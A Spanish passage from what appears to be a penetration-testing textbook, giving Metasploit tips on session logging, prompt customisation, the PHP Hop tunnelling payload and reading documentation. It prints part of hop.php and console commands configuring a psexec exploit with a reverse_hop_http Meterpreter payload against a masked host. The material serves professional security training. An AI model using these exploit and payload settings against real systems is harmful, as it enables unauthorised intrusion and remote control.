Consejos y trucos
Introducción
La diferencia entre un auditor júnior y otro sénior es, sin duda, la experiencia adquirida por este último como consecuencia de la realización de numerosas auditorías. Sin embargo, el hecho de que se haga lo mismo durante cinco años no significa necesariamente que se haga bien.
De hecho, la diferencia entre los dos auditores también se centra en el uso de una metodología clara y efectiva (cuáles son las diferentes fases de una prueba de intrusión), así como en la aplicación diferentes consejos para ahorrar tiempo.
Guardar las trazas
Aunque la realización de pruebas de penetración es una profesión en sí misma y por eso los consultores se deben formar durante años, para realizar estas tareas en las mejores condiciones (incluida la minimización de riesgos para el cliente), sigue siendo utópico creer que existe el riesgo cero. De hecho, se pueden producir efectos secundarios dentro de sistemas complejos, incluso después de tomar todas las precauciones posibles e imaginables.
Para realizar un seguimiento de todas las acciones realizadas sin que sea necesario hacer una copia de seguridad de toda la consola para identificar el comando que se ha utilizado dos días antes, el Framework Metasploit proporciona un sistema de gestión de logs o registros de actividad.
El comando show options que se ha visto en el capítulo Primeros pasos con Metasploit, proporciona todos los detalles sobre un módulo en particular.
Sin embargo, también es posible ejecutar este comando fuera de un módulo para mostrar las opciones específicas del framework:
msf6 > show options
Global Options:
===============
Option Setting Description
------ ------- -----------
ConsoleLogging false ...
Cambiar el símbolo de Metasploit
La línea de comandos de Metasploit es relativamente sencilla:
msf6 >
Dentro del comando show option, puede cambiar el parámetro Prompt para disponer de una línea de comandos personalizada. Se pueden utilizar diversas variables para la personalización:
-
%D = Carpeta actual
-
%H = Nombre de host
-
%J = Número de tareas (jobs) que se están ejecutando
-
%L = Dirección IP local
-
%S = Número de sesiones abiertas
-
%T = Timestamp
-
%U = Nombre de usuario
Esta información (carpeta actual, dirección IP local) puede ahorrar mucho tiempo, especialmente durante el funcionamiento de un reverse shell:
msf6 > set PROMPT %L
PROMPT => %L
192.168.171.152 > set PROMPT %L - %D
PROMPT => %L - %D
192.168.171.152 - /root >
Para terminar, también es posible añadir un efecto visual gracias a la visualización en color de estos valores:
PHP Hop
PHP Hop es una payload que permite transmitir todas las comunicaciones a través de una conexión HTTP o HTTPS (un hop point).
Para ejecutar esto, es necesario depositar el código PHP que permite realizar el tunneling dentro de un servidor web accesible y autorizar la ejecución de PHP. El código PHP se encuentra dentro del framework Metasploit, en el archivo /usr/share/metasploit-framework/data/php/hop.php:
root@kali:~# head /usr/share/metasploit-framework/data/php/hop.php
<?php
$magic = 'TzGq';
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
if(!is_dir($tempdir)){
mkdir($tempdir); //make sure it's there
}
//get url
$url = $_SERVER["QUERY_STRING"];
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
Una vez establecido el código PHP, algunos módulos permiten utilizar payloads de tipo reverse_hop_http, como psexec, por ejemplo:
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set PAYLOAD
windows/meterpreter/reverse_hop_http
PAYLOAD => windows/meterpreter/reverse_hop_http
msf6 exploit(windows/smb/psexec) > set RHOSTS XX.XX.45.235
RHOSTS => XX.XX.45.235
msf6 exploit(windows/smb/psexec) >...
Leer la documentación
Todos los días se realiza una gran cantidad de trabajo en el Framework Metasploit para hacer que sea lo más accesible y completo posible. Para seguir los diversos cambios, es necesario leer de manera regular la documentación oficial, disponible en la dirección https://metasploit.help.rapid7.com/docs
Aunque no es oficial, la documentación ofrecida por Offensive Security dentro de su proyecto Metasploit Unleashed resulta completa y está muy bien escrita. Esta documentación está disponible en https://www.offensive-security.com/metasploit-unleashed/
Además, el blog de Rapid7 está lleno de información interesante sobre nuevos módulos y funcionalidades. El blog está disponible en la dirección https://blog.rapid7.com/tag/metasploit/